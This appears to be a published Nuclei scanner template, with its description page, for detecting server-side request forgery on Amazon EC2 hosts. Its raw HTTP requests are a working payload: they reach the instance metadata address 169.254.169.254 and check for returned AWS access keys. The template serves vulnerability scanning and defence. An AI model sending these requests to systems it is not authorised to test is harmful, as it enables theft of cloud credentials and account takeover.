Amazon EC2 - Server-side request forgery (SSRF)

ID: amazon-ec2-ssrf

Severity: critical

Author: DhiyaneshDk

Tags: aws,ec2,ssrf,amazon

Description

SSRF vulnerability exists in Amazon EC2, or Amazon Elastic Compute Cloud which is a web service provided by Amazon Web Services (AWS) that offers resizable compute capacity in the cloud.

YAML Source

id: amazon-ec2-ssrf

info:
  name: Amazon EC2 - Server-side request forgery (SSRF)
  author: DhiyaneshDk
  severity: critical
  description: SSRF vulnerability exists in Amazon EC2, or Amazon Elastic Compute Cloud which is a web service provided by Amazon Web Services (AWS) that offers resizable compute capacity in the cloud.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
    cvss-score: 9.3
    cwe-id: CWE-441
  metadata:
    verified: true
    max-request: 2
    shodan-query: "Server: EC2ws"
  tags: aws,ec2,ssrf,amazon

http:
  - raw:
      - |+
        GET {{BaseURL}}/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance HTTP/1.1
        Host: {{Hostname}}

      - |+
        @tls-sni: {{Hostname}}
        GET http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    unsafe: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "AccessKeyId"
          - "SecretAccessKey"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a004630440220411ab5dff91580f85ecb302febb8902bd4b43521684df4992f3249ea107c081c0220688cce6cede0d1a9b6544ff1eaed60ab0c700a09ea134e237b51f4fae48af1ed:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/amazon/amazon-ec2-ssrf.yaml"

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